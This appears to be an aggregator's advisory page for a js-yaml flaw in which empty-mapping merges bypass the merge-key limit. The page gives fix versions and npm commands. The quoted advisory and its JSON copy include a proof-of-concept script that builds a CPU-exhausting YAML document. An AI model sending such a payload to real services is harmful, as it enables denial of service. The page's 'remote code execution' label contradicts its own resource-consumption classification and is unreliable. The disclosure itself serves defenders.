CVE-2026-84375: js-yaml Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-2883-xcg3-v3hh
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CVSS 7.5
CWE-400 CWE-407
Published
Advisory Summary

CVE-2026-84375 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting js-yaml libraries in the npm ecosystem. The issue involves maxtotalmergekeys does not limit cpu use for empty merge sources. Remediation is available by upgrading affected packages to version 4.3.2, 3.15.2.

CVE-2026-84375 at a Glance

CVE Identifier CVE-2026-84375
GHSA Identifier GHSA-2883-xcg3-v3hh
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product js-yaml
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-84375

To remediate this vulnerability, upgrade all affected js-yaml dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

js-yaml fixed: 4.3.2 
npm install js-yaml@4.3.2
js-yaml fixed: 3.15.2 
npm install js-yaml@3.15.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls js-yaml

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-84375, inspect your project dependencies using npm:

npm ls js-yaml

Analyze the terminal output to locate any version of js-yaml in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.3.2), your application is affected.

Note: The npm ls js-yaml command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In js-yaml, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit. ## Example ```yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: *arr # repeated K times ``` For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged. ## PoC ```js import { performance } from 'node:perf_hooks' import { load, YAML11_SCHEMA } from 'js-yaml' const n = 20000 const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: *arr\n'.repeat(n) const started = performance.now() load(src, { schema: YAML11_SCHEMA }) console.log(`${(performance.now() - started).toFixed(1)} ms`) ``` Observed results: | N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s | ## Impact An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit. ## Fix Count each merge-source mapping as one budget unit, in addition to counting its keys. ## Difference with v5 In v3 & v4, merge is enabled by default. So, the severity score is higher.

CVE-2026-84375 Affected js-yaml Versions

2 component(s)
Fixed Versions:
4.3.23.15.2
Product / Package Ecosystem Affected Versions Fixed Version
js-yaml
npm/js-yaml
npm
≥ 4.0.0
< 4.3.2
4.3.2
js-yaml
npm/js-yaml
npm
≥ 3.0.0
< 3.15.2
3.15.2

References

GitHub Advisory / Wiki ADVISORY
https://github.com/nodeca/js-yaml/security/advisories/GHSA-2883-xcg3-v3hh
NVD — CVE-2026-84375 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-84375
js-yaml Source Repository REPOSITORY
https://github.com/nodeca/js-yaml/pull/797
Security Fix Commit FIX COMMIT
https://github.com/nodeca/js-yaml/commit/3485bc06ff8a0251505f44a00414d90df2466639
Security Fix Commit FIX COMMIT
https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480
Security Fix Commit FIX COMMIT
https://github.com/nodeca/js-yaml/commit/d90b6612a5a84385bdcb556c44578eac76dc0f6b
js-yaml Source Repository REPOSITORY
https://github.com/nodeca/js-yaml
js-yaml Release RELEASE
https://github.com/nodeca/js-yaml/releases/tag/3.15.2
js-yaml Release RELEASE
https://github.com/nodeca/js-yaml/releases/tag/4.3.2

Frequently Asked Questions

What is CVE-2026-84375?
CVE-2026-84375 is a security vulnerability in js-yaml involving maxTotalMergeKeys does not limit CPU use for empty merge sources under CWE-400: Uncontrolled Resource Consumption.
Which js-yaml versions are affected?
Affected versions include releases prior to 4.3.2, 3.15.2 across affected packages: js-yaml.
What version fixes CVE-2026-84375?
Upgrading to 4.3.2, 3.15.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is js-yaml affected?
Yes, js-yaml is affected in releases prior to 4.3.2, 3.15.2. Upgrade your dependency to 4.3.2, 3.15.2 or later.
What is the CVSS score of CVE-2026-84375?
CVE-2026-84375 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-84375?
CVE-2026-84375 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2026-84375?
Run the dependency tree command: 'npm ls js-yaml'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2883-xcg3-v3hh",
  "modified" : "2026-09-08T21:24:51Z",
  "published" : "2026-09-08T21:24:51Z",
  "aliases" : [ "CVE-2026-84375" ],
  "summary" : "js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources",
  "details" : "## Summary\n\n`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.\n\n## Example\n\n```yaml\narr: &arr [{}, {}, {}, ...] # N empty mappings\ntargets:\n  - <<: *arr                # repeated K times\n```\n\nFor every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.\n\n## PoC\n\n```js\nimport { performance } from 'node:perf_hooks'\nimport { load, YAML11_SCHEMA } from 'js-yaml'\n\nconst n = 20000\n\nconst src =\n  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\\n' +\n  'targets:\\n' +\n  '  - <<: *arr\\n'.repeat(n)\n\nconst started = performance.now()\n\nload(src, { schema: YAML11_SCHEMA })\n\nconsole.log(`${(performance.now() - started).toFixed(1)} ms`)\n```\n\nObserved results:\n\n| N | YAML size | Time |\n|---:|---:|---:|\n| 800 | ~13 KB | ~20 ms |\n| 3200 | ~50 KB | ~180 ms |\n| 20000 | ~500 KB | ~13 s |\n\n## Impact\n\nAn attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.\n\n## Fix\n\nCount each merge-source mapping as one budget unit, in addition to counting its keys.\n\n## Difference with v5\n\nIn v3 & v4, merge is enabled by default. So, the severity score is higher.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "js-yaml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.3.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "js-yaml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.15.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nodeca/js-yaml/security/advisories/GHSA-2883-xcg3-v3hh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-84375"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodeca/js-yaml/pull/797"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodeca/js-yaml/commit/3485bc06ff8a0251505f44a00414d90df2466639"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodeca/js-yaml/commit/d90b6612a5a84385bdcb556c44578eac76dc0f6b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nodeca/js-yaml"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodeca/js-yaml/releases/tag/3.15.2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodeca/js-yaml/releases/tag/4.3.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-407" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-08T21:24:51Z",
    "nvd_published_at" : "2026-09-01T22:17:19Z"
  }
}